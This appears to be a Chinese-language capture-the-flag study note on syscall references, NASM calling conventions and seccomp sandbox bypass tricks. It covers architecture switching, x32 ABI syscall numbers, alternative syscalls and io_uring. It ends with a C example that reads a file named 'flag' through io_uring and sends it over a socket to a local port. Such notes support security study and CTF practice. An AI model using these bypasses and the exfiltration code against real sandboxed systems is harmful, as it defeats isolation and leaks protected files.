1. syscall table
  2. man
  3. Nasm
  4. Seccomp bypass 的一些总结
    1. 架构
    2. x32 ABI
    3. 一些奇怪的 syscall
      1. 替代 open 的 syscall
      2. 替代 read write 的 syscall
    4. io uling

syscall table

在翻 syscall table

https://manpages.ubuntu.com/manpages/jammy/en/man2/syscalls.2.html

man

man

Nasm

dx times

调用 rel puts wrt .. got

调用前 rsp 必须 16 字节对齐

被调用函数需要保留的唯一寄存器(calle-save 寄存器)是: rbp  r12  r13 r14 r15 rbx 。所有其他函数都可以由被调用的函数自由更改。

Seccomp bypass 的一些总结

架构

如果没有限制架构,没有下面这个规则

 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x19 0xc000003e  if (A != ARCH_X86_64) goto 0027

通过给 cs 寄存器赋值,可以切换到 x86 架构,如果 x86 和 x64 的 syscall number 不同那么成功绕过。

参考

x32 ABI

x32 的 syscall 是 x64 syscall 加上 0x40000000

 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005

参考

一些奇怪的 syscall

(虽然有 syscal 文档)。一个快速看 syscall number 的工具 ausyscall

替代 open 的 syscall

替代 read write 的 syscall

以上是同步 io,一个古老的 aio 提供了异步功能

io uling

异步 io io_uring

一个例子是

#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <sys/socket.h>
#include <liburing.h>
int main() {

    //初始化
    struct io_uring ring;
    int ret = io_uring_queue_init(64, &ring, 0);

    // 提交请求
    struct io_uring_sqe *sqe = io_uring_get_sqe(&ring);
    io_uring_prep_openat(sqe, -100, "flag",RWF_APPEND , MS_RDONLY);
    io_uring_submit(&ring);

    // 返回结果
    struct io_uring_cqe *cqe;
    io_uring_wait_cqe(&ring, &cqe);
    io_uring_cqe_seen(&ring, cqe);

    // 处理打开结果
    int opened_fd = cqe->res;

    // socket init
    int fd = socket(AF_INET, SOCK_STREAM, 0);
    
    //set socket addr
    struct sockaddr_in serv_addr ={0};
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    serv_addr.sin_port = htons(8888);

    //connect
    connect(fd, (struct sockaddr *)&serv_addr, sizeof(serv_addr));

    //send data
    sendfile( fd,opened_fd, 0, 0x20);

    close(opened_fd);
    io_uring_queue_exit(&ring);
    return 0;
}